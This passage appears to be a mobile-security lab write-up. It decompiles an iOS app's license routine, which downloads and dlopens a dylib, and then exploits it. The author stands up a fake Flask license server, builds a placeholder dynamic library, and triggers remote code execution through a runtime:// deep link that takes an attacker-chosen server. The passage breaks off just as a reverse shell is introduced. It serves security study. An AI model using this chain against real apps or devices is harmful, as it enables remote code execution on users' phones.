  undefined8 auStack_90 [5];
  undefined8 auStack_68 [3];
  long local_50;
  undefined8 local_48;
  ulong local_40;
  long local_38;

  local_2d8 = PTR_$$type_metadata_for_Any_1000246f8 + 8;
  local_2d0 = PTR_$$type_metadata_for_Swift.String_100024408;
  local_2c8 = "Fatal error";
  local_2c0 = "Can\'t unsafeBitCast between types of different sizes";
  local_2b8 = "Swift/arm64-apple-ios.swiftinterface";
  local_2b0 = "Unexpectedly found nil while unwrapping an Optional value";
  local_38 = *(long *)PTR____stack_chk_guard_100024260;
  local_118 = (undefined *)0x0;
  local_120 = 0;
  local_48 = 0;
  local_40 = 0;
  local_128 = 0;
  local_130 = 0;
  local_138 = 0;
  local_140 = 0;
  local_c0 = (undefined *)0x0;
  local_b8 = 0;
  local_170 = (undefined *)0x0;
  local_2a8 = 0;
  local_178 = 0;
  local_180 = (undefined *)0x0;
  local_1a8 = (code *)0x0;
  local_1b0 = (code *)0x0;
  local_1b8 = (code *)0x0;
  local_1e0 = 0;
  local_1e8 = 0;
  local_290 = param_1;
  local_288 = param_3;
  local_280 = param_5;
  local_278 = param_2;
  local_208 = param_4;
  lVar2 = ___swift_instantiateConcreteTypeFromMangledName
                    ((long *)&$$demangling_cache_variable_for_type_metadata_for_Foundation.URL?);
  local_2a0 = *(long *)(*(long *)(lVar2 + -8) + 0x40) + 0xfU & 0xfffffffffffffff0;
  (*(code *)PTR____chkstk_darwin_100024208)();
  lVar2 = (long)&local_870 - local_2a0;
  local_298 = lVar2;
  local_270 = (undefined *)Foundation::URL::typeMetadataAccessor();
  local_268 = *(long *)(local_270 + -8);
  local_228 = *(long *)(local_268 + 0x40);
  local_260 = local_228 + 0xfU & 0xfffffffffffffff0;
  lVar3 = local_208;
  uVar9 = local_278;
  lVar11 = local_288;
  uVar14 = local_280;
  (*(code *)PTR____chkstk_darwin_100024208)(local_290);
  puVar4 = (undefined *)(lVar2 - local_260);
  local_250 = local_228 + 0xfU & 0xfffffffffffffff0;
  local_258 = puVar4;
  (*(code *)PTR____chkstk_darwin_100024208)();
  puVar4 = puVar4 + -local_250;
  local_240 = local_228 + 0xfU & 0xfffffffffffffff0;
  local_248 = puVar4;
  (*(code *)PTR____chkstk_darwin_100024208)();
  lVar2 = -local_240;
  local_230 = local_228 + 0xfU & 0xfffffffffffffff0;
  local_238 = puVar4 + lVar2;
  (*(code *)PTR____chkstk_darwin_100024208)();
  puVar4 = puVar4 + lVar2 + -local_230;
  local_218 = local_228 + 0xfU & 0xfffffffffffffff0;
  local_220.unknown = puVar4;
  local_118 = puVar4;
  (*(code *)PTR____chkstk_darwin_100024208)();
  local_210 = (long)puVar4 - local_218;
  local_138 = uVar14;
  local_130 = lVar3;
  local_128 = lVar11;
  local_120 = local_210;
  local_40 = uVar9;
  _swift_errorRetain();
  if (local_208 != 0) {
    local_2e0 = local_208;
    local_2f0 = local_208;
    local_1e8 = local_208;
    local_300 = Swift::String::init("Cannot connect to host while getting license",0x2c,1);
    dVar16 = (double)Runtime::$showToast();
    Runtime::showToast(dVar16,local_300.str,(long)local_300.bridgeObject,local_280);
    _swift_bridgeObjectRelease(local_300.bridgeObject);
    _swift_errorRelease(local_2f0);
    goto LAB_10000b784;
  }
  _objc_retain(local_288);
  if (local_288 == 0) {
    local_308 = 0;
  }
  else {
    local_2e8 = local_288;
    local_318 = local_288;
    puVar4 = &_OBJC_CLASS_$_NSHTTPURLResponse;
    _objc_opt_self(&_OBJC_CLASS_$_NSHTTPURLResponse);
    lVar2 = local_318;
    _swift_dynamicCastObjCClass(local_318,puVar4);
    local_320 = lVar2;
    local_310 = lVar2;
    if (lVar2 == 0) {
      local_328 = 0;
      _objc_release(local_318);
      local_320 = local_328;
    }
    local_308 = local_320;
  }
  local_330 = local_308;
  if (local_308 != 0) {
    local_338 = local_308;
    local_340 = local_308;
    local_1e0 = local_308;
    lVar2 = local_308;
    _objc_msgSend(local_308,"statusCode");
    if (lVar2 == 0x191) {
      local_350 = Swift::String::init("Unable to authenticate to server",0x20,1);
      dVar16 = (double)Runtime::$showToast();
      Runtime::showToast(dVar16,local_350.str,(long)local_350.bridgeObject,local_280);
      _swift_bridgeObjectRelease(local_350.bridgeObject);
      _objc_release(local_340);
      goto LAB_10000b784;
    }
    _objc_release(local_340);
  }
  _objc_retain(local_288);
  if (local_288 == 0) {
    local_360 = 0;
  }
  else {
    local_358 = local_288;
    local_370 = local_288;
    puVar4 = &_OBJC_CLASS_$_NSHTTPURLResponse;
    _objc_opt_self(&_OBJC_CLASS_$_NSHTTPURLResponse);
    lVar2 = local_370;
    _swift_dynamicCastObjCClass(local_370,puVar4);
    local_378 = lVar2;
    local_368 = lVar2;
    if (lVar2 == 0) {
      local_380 = 0;
      _objc_release(local_370);
      local_378 = local_380;
    }
    local_360 = local_378;
  }
  local_388 = local_360;
  if (local_360 != 0) {
    local_390 = local_360;
    local_3c0 = local_360;
    local_140 = local_360;
    lVar2 = local_360;
    _objc_msgSend(local_360,"allHeaderFields");
    _objc_retainAutoreleasedReturnValue();
    local_3a8 = PTR_$$type_metadata_for_Swift.AnyHashable_100024628;
    local_3a0 =
    PTR_$$protocol_witness_table_for_Swift.AnyHashable_:_Swift.Hashable_in_Swift_100024570;
    local_3b8 = lVar2;
    DVar5 = (extension_Foundation)::Swift::Dictionary::$_unconditionallyBridgeFromObjectiveC();
    local_398 = DVar5.unknown;
    local_150 = Swift::String::init("Content-Type",0xc,1);
    local_3b0 = auStack_90;
    Swift::$_convertToAnyHashable
              (DVar5.unknown,local_2d0,
               PTR_$$protocol_witness_table_for_Swift.String_:_Swift.Hashable_in_Swift_100024600);
    pcVar15 = local_3a0;
    Swift::Dictionary::$get_subscript(auStack_68,local_3b0,local_398,local_3a8,local_2d8);
    _swift_bridgeObjectRelease(local_398);
    if (local_50 == 0) {
      local_3d8 = 0;
      $$outlined_destroy_of_Swift.AnyHashable(auStack_90);
      $$outlined_destroy_of_Swift.String((long)&local_150);
      _objc_release(local_3b8);
      $$outlined_destroy_of_Any?(auStack_68);
      local_3d0 = local_3d8;
      local_3c8 = local_3d8;
    }
    else {
      plVar6 = &local_1d8;
      pcVar15 = (char *)0x6;
      _swift_dynamicCast(plVar6,auStack_68,local_2d8,local_2d0);
      if (((ulong)plVar6 & 1) == 0) {
        local_3e8 = 0;
        local_3e0 = 0;
      }
      else {
        local_3e8 = local_1d8;
        local_3e0 = local_1d0;
      }
      local_3f0 = local_3e0;
      local_3f8 = local_3e8;
      $$outlined_destroy_of_Swift.AnyHashable(auStack_90);
      $$outlined_destroy_of_Swift.String((long)&local_150);
      _objc_release(local_3b8);
      local_3d0 = local_3f8;
      local_3c8 = local_3f0;
    }
    local_408 = local_3c8;
    local_410 = local_3d0;
    _swift_bridgeObjectRetain();
    SVar17 = Swift::String::init("application/octet-stream",0x18,1);
    local_400 = SVar17.bridgeObject;
    local_418 = SVar17.str;
    _swift_bridgeObjectRetain();
    local_b0 = local_410;
    local_a8 = local_408;
    local_a0 = local_418;
    local_98 = local_400;
    if (local_408 == 0) {
      if (local_400 != (void *)0x0) goto LAB_10000a64c;
      $$outlined_destroy_of_Swift.String?((long)&local_b0);
      local_41c = 1;
    }
    else {
      $$outlined_init_with_copy_of_Swift.String?(&local_b0,&local_110);
      if (local_98 == (void *)0x0) {
        $$outlined_destroy_of_Swift.String((long)&local_110);
LAB_10000a64c:
        $$outlined_destroy_of_(Swift.String?,Swift.String?)((long)&local_b0);
        local_41c = 0;
      }
      else {
        local_448 = local_110;
        local_430 = local_108;
        _swift_bridgeObjectRetain();
        local_440 = local_a0;
        local_428 = &local_b0;
        local_438 = local_98;
        _swift_bridgeObjectRetain();
        SVar17.bridgeObject = local_438;
        SVar17.str = local_440;
        SVar18.bridgeObject = local_430;
        SVar18.str = local_448;
        SVar22.bridgeObject = param_6;
        SVar22.str = pcVar15;
        bVar1 = Swift::String::==_infix(SVar18,SVar17,SVar22);
        local_420 = (uint)CONCAT71((int7)((ulong)&local_b0 >> 8),bVar1);
        _swift_bridgeObjectRelease(local_438);
        _swift_bridgeObjectRelease(local_430);
        _swift_bridgeObjectRelease(local_438);
        _swift_bridgeObjectRelease(local_430);
        $$outlined_destroy_of_Swift.String?((long)local_428);
        local_41c = local_420;
      }
    }
    local_44c = local_41c;
    _swift_bridgeObjectRelease(local_400);
    _swift_bridgeObjectRelease(local_408);
    if ((local_44c & 1) != 0) {
      local_470 = PTR_$$type_metadata_for_Swift.Int_100024540;
      tVar19 = Swift::$_allocateUninitializedArray(2);
      *(undefined8 *)tVar19.1 = 0x12e;
      *(undefined8 *)((long)tVar19.1 + 8) = 200;
      local_158 = Swift::$_finalizeUninitializedArray(tVar19._0_8_);
      local_458 = &local_158;
      lVar2 = local_3c0;
      _objc_msgSend(local_3c0,"statusCode");
      local_460 = &local_160;
      local_160 = lVar2;
      lVar2 = ___swift_instantiateConcreteTypeFromMangledName
                        ((long *)&$$demangling_cache_variable_for_type_metadata_for_[Swift.Int]);
      local_468 = lVar2;
      Swift::Array<__int64>::$lazy_protocol_witness_table_accessor();
      bVar1 = (extension_Swift)::Swift::Sequence::$contains();
      local_450 = (uint)CONCAT71((int7)((ulong)lVar2 >> 8),bVar1);
      $$outlined_destroy_of_[Swift.Int](local_458);
      if ((local_450 & 1) == 0) {
        local_480 = Swift::String::init("Unexpected response from server (download path not availabl e)"
                                        ,0x3d,1);
        dVar16 = (double)Runtime::$showToast();
        Runtime::showToast(dVar16,local_480.str,(long)local_480.bridgeObject,local_280);
        _swift_bridgeObjectRelease(local_480.bridgeObject);
        _objc_release(local_3c0);
        goto LAB_10000b784;
      }
      $outlined_copy(local_290,local_278);
      if ((local_278 & 0xf000000000000000) != 0xf000000000000000) {
        local_490 = local_290;
        local_488 = local_278;
        local_4c8 = local_278;
        local_4c0.unknown = local_290;
        local_c0 = local_290;
        local_b8 = local_278;
        puVar4 = &_OBJC_CLASS_$_NSFileManager;
        _objc_opt_self();
        _objc_msgSend();
        _objc_retainAutoreleasedReturnValue();
        local_4b8 = puVar4;
        _objc_msgSend();
        _objc_retainAutoreleasedReturnValue();
        local_4b0 = puVar4;
        _objc_release(local_4b8);
        puVar4 = local_4b0;
        (extension_Foundation)::Swift::Array<undefined>::$_unconditionallyBridgeFromObjectiveC();
        local_4a8 = puVar4;
        _swift_bridgeObjectRetain();
        local_498 = &local_168;
        local_168 = local_4a8;
        local_4a0 = ___swift_instantiateConcreteTypeFromMangledName
                              ((long *)&
                                       $$demangling_cache_variable_for_type_metadata_for_[Foundation .URL]
                              );
        Swift::Array<URL>::$lazy_protocol_witness_table_accessor();
        (extension_Swift)::Swift::Collection::$get_first();
        $$outlined_destroy_of_[Foundation.URL](local_498);
        lVar2 = local_298;
        (**(code **)(local_268 + 0x30))(local_298,1,local_270);
        if ((int)lVar2 == 1) {
          $$outlined_destroy_of_Foundation.URL?(local_298);
          _swift_bridgeObjectRelease(local_4a8);
          _objc_release(local_4b0);
          local_4d8 = Swift::String::init("Unable to store license file!",0x1d,1);
          dVar16 = (double)Runtime::$showToast();
          Runtime::showToast(dVar16,local_4d8.str,(long)local_4d8.bridgeObject,local_280);
          _swift_bridgeObjectRelease(local_4d8.bridgeObject);
          outlined_consume(local_4c0.unknown,local_4c8);
          _objc_release(local_3c0);
          goto LAB_10000b784;
        }
        (**(code **)(local_268 + 0x20))(local_210,local_298,local_270);
        _swift_bridgeObjectRelease(local_4a8);
        _objc_release(local_4b0);
        UVar12.unknown = (undefined *)0x1;
        SVar17 = Swift::String::init("license.dylib",0xd,1);
        local_510 = SVar17.bridgeObject;
        Foundation::URL::appendingPathComponent(SVar17,UVar12);
        UVar12.unknown = local_238;
        _swift_bridgeObjectRelease(local_510);
        puVar4 = &_OBJC_CLASS_$_NSFileManager;
        _objc_opt_self();
        _objc_msgSend();
        _objc_retainAutoreleasedReturnValue();
        local_508 = *(code **)(local_268 + 0x10);
        local_4f0 = puVar4;
        local_170 = puVar4;
        (*local_508)(UVar12.unknown,local_210,local_270);
        SVar17 = Foundation::URL::get_path(UVar12);
        local_4f8 = SVar17.bridgeObject;
        local_4e8 = (extension_Foundation)::Swift::String::_bridgeToObjectiveC();
        local_500 = *(code **)(local_268 + 8);
        (*local_500)(local_238,local_270);
        _swift_bridgeObjectRelease(local_4f8);
        puVar4 = local_4f0;
        _objc_msgSend(local_4f0,"fileExistsAtPath:",local_4e8);
        local_4dc = (uint)puVar4;
        _objc_release(local_4e8);
        if ((local_4dc & 1) == 0) {
          local_100 = 0;
          UVar12.unknown = local_238;
          (*local_508)(local_238,local_210,local_270);
          local_520 = Foundation::URL::_bridgeToObjectiveC(UVar12);
          (*local_500)(local_238,local_270);
          local_1c8 = local_100;
          puVar4 = local_4f0;
          _objc_msgSend(local_4f0,
                        "createDirectoryAtURL:withIntermediateDirectories:attributes:error:",
                        local_520,1,0,&local_1c8);
          local_514 = (uint)puVar4;
          local_528 = local_1c8;
          _objc_retain();
          lVar2 = local_100;
          local_100 = local_528;
          _objc_release(lVar2);
          _objc_release(local_520);
          if ((local_514 & 1) != 0) goto LAB_10000aaac;
          local_858 = local_100;
          lVar2 = local_100;
          Foundation::$_convertNSErrorToError();
          local_850 = lVar2;
          _objc_release(local_858);
          _swift_willThrow();
          _objc_release(local_4f0);
          local_848 = local_850;
LAB_10000b7bc:
          local_830 = local_848;
          _swift_errorRetain();
          local_178 = local_830;
          local_840 = Swift::String::init("Failed to move or load the license file",0x27,1);
          dVar16 = (double)Runtime::$showToast();
          Runtime::showToast(dVar16,local_840.str,(long)local_840.bridgeObject,local_280);
          _swift_bridgeObjectRelease(local_840.bridgeObject);
          _swift_errorRelease(local_830);
          _swift_errorRelease(local_830);
        }
        else {
LAB_10000aaac:
          UVar12.unknown = local_238;
          (*local_508)(local_238,local_220.unknown,local_270);
          SVar17 = Foundation::URL::get_path(UVar12);
          local_540 = SVar17.bridgeObject;
          local_538 = (extension_Foundation)::Swift::String::_bridgeToObjectiveC();
          (*local_500)(local_238,local_270);
          _swift_bridgeObjectRelease(local_540);
          puVar4 = local_4f0;
          _objc_msgSend(local_4f0,"fileExistsAtPath:",local_538);
          local_52c = (uint)puVar4;
          _objc_release(local_538);
          if ((local_52c & 1) != 0) {
            local_f8 = 0;
            UVar12.unknown = local_238;
            (*local_508)(local_238,local_220.unknown,local_270);
            local_550 = Foundation::URL::_bridgeToObjectiveC(UVar12);
            (*local_500)(local_238,local_270);
            local_1c0 = local_f8;
            puVar4 = local_4f0;
            _objc_msgSend(local_4f0,"removeItemAtURL:error:",local_550,&local_1c0);
            local_544 = (uint)puVar4;
            local_558 = local_1c0;
            _objc_retain();
            lVar2 = local_f8;
            local_f8 = local_558;
            _objc_release(lVar2);
            _objc_release(local_550);
            if ((local_544 & 1) == 0) {
              local_868 = local_f8;
              lVar2 = local_f8;
              Foundation::$_convertNSErrorToError();
              local_860 = lVar2;
              _objc_release(local_868);
              _swift_willThrow();
              _objc_release(local_4f0);
              local_848 = local_860;
              goto LAB_10000b7bc;
            }
          }
          lVar2 = local_2a8;
          options.unknown = (undefined *)Foundation::Data::$write();
          Foundation::Data::$write(local_220,options,local_4c0);
          local_560 = lVar2;
          if (lVar2 != 0) {
            local_870 = lVar2;
            _objc_release(local_4f0);
            local_848 = local_870;
            goto LAB_10000b7bc;
          }
          UVar12.unknown = local_248;
          (*local_508)(local_248,local_220.unknown,local_270);
          local_588 = Foundation::URL::get_path(UVar12);
          (*local_500)(local_248,local_270);
          CVar7 = Swift::String::get_utf8CString(local_588);
          _$sSaySayxGqd__c7ElementQyd__RszSTRd__lufCs4Int8V_s15ContiguousArrayVyAEGTgmq5();
          local_578 = CVar7.unknown;
          local_570 = (code *)Swift::Array<undefined>::$get__baseAddressIfContiguous
                                        ((long)CVar7.unknown);
          if ((local_570 != (code *)0x0) ||
             (bVar1 = (extension_Swift)::Swift::Collection::get_isEmpty((long)local_578), bVar1)) {
            local_5a8 = Swift::Array<undefined>::$get__owner(local_578);
            local_590 = local_5a8;
            if (local_570 == (code *)0x0) {
              local_5a0 = (code *)0x0;
            }
            else {
              local_598 = local_570;
              local_5a0 = local_570;
            }
          }
          else {
            _swift_bridgeObjectRetain(local_578);
            local_5f8 = _$ss15ContiguousArrayVyAByxGqd__c7ElementQyd__RszSTRd__lufCs4Int8V_s01_B6Buf ferVyAGGTgmq5
                                  ((size_t)local_578);
            _swift_retain();
            _swift_release(local_5f8);
            local_5f0 = Swift::_ContiguousArrayBuffer::$get_owner(local_5f8);
            local_5e8 = (code *)Swift::_ContiguousArrayBuffer::get_firstElementAddress
                                          ((long)local_5f8);
            _swift_release(local_5f8);
            local_5a0 = local_5e8;
            local_5a8 = local_5f0;
          }
          local_5b8 = local_5a0;
          local_5b0 = local_5a8;
          if (local_5a0 == (code *)0x0) {
            local_c8 = 0xffffffffffffffff;
            local_5c8 = 0xffffffffffffffff;
            local_5d0 = 0xffffffffffffffff;
            local_1f0 = (code *)0xffffffffffffffff;
            _swift_bridgeObjectRelease(local_578);
          }
          else {
            local_5c0 = local_5a0;
            local_1f0 = local_5a0;
            _swift_bridgeObjectRelease(local_578);
          }
          pcVar8 = local_1f0;
          _dlopen(local_1f0,2);
          local_5d8 = pcVar8;
          _swift_unknownObjectRelease(local_5b0);
          _swift_bridgeObjectRelease(local_588.bridgeObject);
          if (local_5d8 == (code *)0x0) {
            UVar12.unknown = local_258;
            (*local_508)(local_258,local_220.unknown,local_270);
            local_618 = Foundation::URL::get_path(UVar12);
            (*local_500)(local_258,local_270);
            CVar7 = Swift::String::get_utf8CString(local_618);
            _$sSaySayxGqd__c7ElementQyd__RszSTRd__lufCs4Int8V_s15ContiguousArrayVyAEGTgmq5();
            local_608 = CVar7.unknown;
            local_600 = (undefined *)
                        Swift::Array<undefined>::$get__baseAddressIfContiguous(CVar7.unknown);
            if ((local_600 != (undefined *)0x0) ||
               (bVar1 = (extension_Swift)::Swift::Collection::get_isEmpty((long)local_608), bVar1))
            {
              local_6f8 = Swift::Array<undefined>::$get__owner(local_608);
              local_6e0 = local_6f8;
              if (local_600 == (undefined *)0x0) {
                local_6f0 = (undefined *)0x0;
              }
              else {
                local_6e8 = local_600;
                local_6f0 = local_600;
              }
            }
            else {
              _swift_bridgeObjectRetain(local_608);
              local_740 = _$ss15ContiguousArrayVyAByxGqd__c7ElementQyd__RszSTRd__lufCs4Int8V_s01_B6B ufferVyAGGTgmq5
                                    ((size_t)local_608);
              _swift_retain();
              _swift_release(local_740);
              local_738 = Swift::_ContiguousArrayBuffer::$get_owner(local_740);
              local_730 = (undefined *)
                          Swift::_ContiguousArrayBuffer::get_firstElementAddress((long)local_740);
              _swift_release(local_740);
              local_6f0 = local_730;
              local_6f8 = local_738;
            }
            local_708 = local_6f0;
            local_700 = local_6f8;
            if (local_6f0 == (undefined *)0x0) {
              local_d0 = 0xffffffffffffffff;
              local_718 = 0xffffffffffffffff;
              local_720 = 0xffffffffffffffff;
              local_1f8 = (undefined *)0xffffffffffffffff;
              _swift_bridgeObjectRelease(local_608);
            }
            else {
              local_710 = local_6f0;
              local_1f8 = local_6f0;
              _swift_bridgeObjectRelease(local_608);
            }
            puVar4 = local_1f8;
            _dlopen(local_1f8,2);
            local_728 = puVar4;
            _swift_unknownObjectRelease(local_700);
            _swift_bridgeObjectRelease(local_618.bridgeObject);
            local_d8 = local_728;
            local_744 = (uint)(local_728 == (undefined *)0x0);
            if (local_744 != 0) {
              puVar4 = local_728;
              _dlerror();
              local_750 = puVar4;
              if (puVar4 == (undefined *)0x0) {
                tVar19 = Swift::$_allocateUninitializedArray(1);
                local_788 = (String *)tVar19.1;
                local_780 = tVar19._0_8_;
                SVar17 = Swift::String::init("Unknown error occurred while loading library.",0x2d,1)
                ;
                local_788[1].bridgeObject = local_2d0;
                *local_788 = SVar17;
                local_760 = (char *)Swift::$_finalizeUninitializedArray(local_780);
                SVar17 = Swift::$print();
                local_768 = (char *)SVar17.bridgeObject;
                local_778 = SVar17.str;
                SVar17 = Swift::$print();
                local_770 = SVar17.bridgeObject;
                SVar20.bridgeObject = local_778;
                SVar20.str = local_760;
                separator.bridgeObject = SVar17.str;
                separator.str = local_768;
                Swift::$print(SVar20,separator);
                _swift_bridgeObjectRelease(local_770);
                _swift_bridgeObjectRelease(local_768);
                _swift_bridgeObjectRelease(local_760);
              }
              else {
                local_808 = 1;
                local_7f0.unknown = puVar4;
                local_758 = puVar4;
                local_180 = puVar4;
                tVar19 = Swift::$_allocateUninitializedArray(1);
                local_7b8 = (String *)tVar19.1;
                local_7b0 = tVar19._0_8_;
                local_800 = 0x16;
                _Var10 = local_808;
                local_190 = (undefined *)Swift::DefaultStringInterpolation::init(0x16,local_808);
                local_7d0 = &local_190;
                local_7dc = 1;
                DVar13.unknown = (undefined *)0x1;
                local_188 = _Var10;
                SVar17 = Swift::String::init("Something went wrong: ",(__int16)local_800,1);
                local_7f8 = SVar17.bridgeObject;
                Swift::DefaultStringInterpolation::appendLiteral(SVar17,DVar13);
                _swift_bridgeObjectRelease(local_7f8);
                local_1a0 = Swift::String::init(local_7f0);
                local_7e8 = &local_1a0;
                Swift::DefaultStringInterpolation::$appendInterpolation
                          (local_7e8,local_2d0,
                           PTR_$$protocol_witness_table_for_Swift.String_:_Swift.CustomStringConvert ible_in_Swift_100024620
                           ,
                           PTR_$$protocol_witness_table_for_Swift.String_:_Swift.TextOutputStreamabl e_in_Swift_100024720
                          );
                $$outlined_destroy_of_Swift.String((long)local_7e8);
                DVar13.unknown = (undefined *)(ulong)(local_7dc & 1);
                SVar17 = Swift::String::init("",0,(__int8)(local_7dc & 1));
                local_7d8 = SVar17.bridgeObject;
                Swift::DefaultStringInterpolation::appendLiteral(SVar17,DVar13);
                _swift_bridgeObjectRelease(local_7d8);
                local_7c0.unknown = local_190;
                local_7c8 = local_188;
                _swift_bridgeObjectRetain();
                $$outlined_destroy_of_Swift.DefaultStringInterpolation((long)local_7d0);
                SVar17 = Swift::String::init(local_7c0);
                local_7b8[1].bridgeObject = local_2d0;
                *local_7b8 = SVar17;
                local_790 = (char *)Swift::$_finalizeUninitializedArray(local_7b0);
                SVar17 = Swift::$print();
                local_798 = (char *)SVar17.bridgeObject;
                local_7a8 = SVar17.str;
                SVar17 = Swift::$print();
                local_7a0 = SVar17.bridgeObject;
                SVar21.bridgeObject = local_7a8;
                SVar21.str = local_790;
                separator_00.bridgeObject = SVar17.str;
                separator_00.str = local_798;
                Swift::$print(SVar21,separator_00);
                _swift_bridgeObjectRelease(local_7a0);
                _swift_bridgeObjectRelease(local_798);
                _swift_bridgeObjectRelease(local_790);
              }
            }
            local_818 = Swift::String::init("Failed to load the license file",0x1f,1);
            dVar16 = (double)Runtime::$showToast();
            Runtime::showToast(dVar16,local_818.str,(long)local_818.bridgeObject,local_280);
            _swift_bridgeObjectRelease(local_818.bridgeObject);
          }
          else {
            local_5e0 = local_5d8;
            local_638 = local_5d8;
            local_1a8 = local_5d8;
            SVar17 = Swift::String::init("register_device",0xf,1);
            local_630 = SVar17.bridgeObject;
            CVar7 = Swift::String::get_utf8CString(SVar17);
            _$sSaySayxGqd__c7ElementQyd__RszSTRd__lufCs4Int8V_s15ContiguousArrayVyAEGTgmq5();
            local_628 = CVar7.unknown;
            local_620 = Swift::Array<undefined>::$get__baseAddressIfContiguous((long)CVar7.unknown);
            if ((local_620 != 0) ||
               (bVar1 = (extension_Swift)::Swift::Collection::get_isEmpty((long)local_628), bVar1))
            {
              local_658 = Swift::Array<undefined>::$get__owner(local_628);
              local_640 = local_658;
              if (local_620 == 0) {
                local_650 = 0;
              }
              else {
                local_648 = local_620;
                local_650 = local_620;
              }
            }
            else {
              _swift_bridgeObjectRetain(local_628);
              local_6a0 = _$ss15ContiguousArrayVyAByxGqd__c7ElementQyd__RszSTRd__lufCs4Int8V_s01_B6B ufferVyAGGTgmq5
                                    ((size_t)local_628);
              _swift_retain();
              _swift_release(local_6a0);
              local_698 = Swift::_ContiguousArrayBuffer::$get_owner(local_6a0);
              local_690 = Swift::_ContiguousArrayBuffer::get_firstElementAddress((long)local_6a0);
              _swift_release(local_6a0);
              local_650 = local_690;
              local_658 = local_698;
            }
            local_668 = local_650;
            local_660 = local_658;
            if (local_650 == 0) {
              local_e0 = 0xffffffffffffffff;
              local_678 = 0xffffffffffffffff;
              local_680 = 0xffffffffffffffff;
              local_200 = -1;
              _swift_bridgeObjectRelease(local_628);
            }
            else {
              local_670 = local_650;
              local_200 = local_650;
              _swift_bridgeObjectRelease(local_628);
            }
            pcVar8 = local_638;
            _dlsym(local_638,local_200);
            local_688 = pcVar8;
            _swift_unknownObjectRelease(local_660);
            _swift_bridgeObjectRelease(local_630);
            local_1b0 = local_688;
            local_e8 = local_688;
            local_6a4 = (uint)(local_688 != (code *)0x0);
            if (local_6a4 == 0) {
              local_6d8 = Swift::String::init("Function register_device not found.",0x23,1);
              dVar16 = (double)Runtime::$showToast();
              Runtime::showToast(dVar16,local_6d8.str,(long)local_6d8.bridgeObject,local_280);
              _swift_bridgeObjectRelease(local_6d8.bridgeObject);
            }
            else {
              local_f0 = local_688;
              local_1b8 = local_688;
              pcVar8 = local_688;
              (*local_688)();
              if (((ulong)pcVar8 & 1) == 0) {
                local_6c8 = Swift::String::init("Device registration failed.",0x1b,1);
                dVar16 = (double)Runtime::$showToast();
                Runtime::showToast(dVar16,local_6c8.str,(long)local_6c8.bridgeObject,local_280);
                _swift_bridgeObjectRelease(local_6c8.bridgeObject);
              }
              else {
                local_6b8 = Swift::String::init("Upgraded to Pro. Please wait for a decade before we  add pro features"
                                                ,0x44,1);
                dVar16 = (double)Runtime::$showToast();
                Runtime::showToast(dVar16,local_6b8.str,(long)local_6b8.bridgeObject,local_280);
                _swift_bridgeObjectRelease(local_6b8.bridgeObject);
              }
            }
          }
          _objc_release(local_4f0);
        }
        (*local_500)(local_220.unknown,local_270);
        (*local_500)(local_210,local_270);
        outlined_consume(local_4c0.unknown,local_4c8);
      }
      _objc_release(local_3c0);
      goto LAB_10000b784;
    }
    _objc_release(local_3c0);
  }
  local_828 = Swift::String::init("Unexpected response from server (bad download path)",0x33,1);
  dVar16 = (double)Runtime::$showToast();
  Runtime::showToast(dVar16,local_828.str,(long)local_828.bridgeObject,local_280);
  _swift_bridgeObjectRelease(local_828.bridgeObject);
LAB_10000b784:
  if (*(long *)PTR____stack_chk_guard_100024260 != local_38) {
                    /* WARNING: Subroutine does not return */
    ___stack_chk_fail();
  }
  return;
}

At a very high level, this code does the following:

Let’s update our server to host a text file and return the correct headers to see how the app behaves.

@app.route("/mhl.pages.dev/runtime/download")
def download():
    try:
        return send_file("./test.txt", mimetype="application/octet-stream")
    except Exception as e:
        return str(e)

This SHOULD fail, but let’s see if it connects and downloads successfully.

GET /mhl.pages.dev/runtime/download HTTP/1.1
Host: 192.168.2.5:80
X-API-Key: 59C23ACC-2163-4375-BCF4-9C21C3E0C89C
Accept: */*
User-Agent: Runtime/1 CFNetwork/3826.500.131 Darwin/24.5.0
Accept-Language: en-GB,en;q=0.9
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

---

HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.13.5
Date: Thu, 31 Jul 2025 14:29:32 GMT
Content-Disposition: inline; filename=test.txt
Content-Type: application/octet-stream
Content-Length: 0
Last-Modified: Wed, 30 Jul 2025 18:26:08 GMT
Cache-Control: no-cache
ETag: "1753899968.929841-0-2317161863"
Date: Thu, 31 Jul 2025 14:29:32 GMT
Connection: close

It downloaded the file successfully, but it failed to load it.

The app showed the following error message: Failed to load the license file

We are going to have to create a legitimate library to download and load in the app.


Create malicious library

I am not an expert when it comes to iOS development, but I managed to create the library by following different advice from various articles.

Dynamic libraries are not officially supported on iOS anymore, in fact in the latest Xcode you will not find it under the New Project > iOS section.

One way around this is to create a macOS library and then add iOS as a build target.

It is also important to note that loading dynamic libraries at runtime does NOT work on non-jailbroken devices, so to test this you will need a jailbroken device.

Create a library new project

Runtime new library

Fill in the information, importants parts are: Framework and Type - They need to be Cocoa and Dynamic

Runtime new library options

In the build settings you can remove MacOS as a Supported Platform and just add iOS. I used iOS 15 as a minimum version.

Runtime new library build settings

Add two source files:

Registerlib.h


#import <Foundation/Foundation.h>

@interface RegisterLib : NSObject

__attribute__((visibility("default")))
int register_device(void *info);

@end

RegisterLib.m


#import "RegisterLib.h"

@implementation RegisterLib

__attribute__((visibility("default")))
int register_device(void *info) {
    return 1;
}

@end

This does not contain our exploit yet.

These are only placeholders to see how it behaves when we load it in the app.

The return 1; in the implementation is IMPORTANT since the app checks this when it executes the native function.

Build your project and navigate to the Product section at the top to find the binary.

Runtime new library location

Copy the binary into the same folder as your malicious python server and also update the server code to reflect this.

The full script should look something like this:

from flask import Flask, send_file

app = Flask(__name__)


@app.route("/mhl.pages.dev/runtime/health")
def health():
    return {"status": "healthy"}


@app.route("/mhl.pages.dev/runtime/activate", methods=["POST"])
def activate():
    return {"token": "59C23ACC-2163-4375-BCF4-9C21C3E0C89C"}


@app.route("/mhl.pages.dev/runtime/download")
def download():
    try:
        return send_file("./libRegisterLib.dylib", mimetype="application/octet-stream")
    except Exception as e:
        return str(e)

Let’s run it and see what happens. Remember, this needs to be a jailbroken device.

The IP in this command differs because I am using a remote virtual iOS device that is jailbroken.

openURL("runtime://starttrial?server=10.11.3.2:80/mhl.pages.dev/runtime&trialKey=1234-5678-ABCD");
Runtime rce success

The register call was successfully run and our app displays a humorous success? message.

Now that we have a working dynamic library that gets executed successfully it is time to add our own code to it.


Exploitation

We will be using a very basic reverse shell to try and connect back to our own machine.

In order to achieve code execution we need to perform the following steps:

  1. Add 2 new files to our library. They will be used to establish the reverse shell.

ReverseShellClient.h


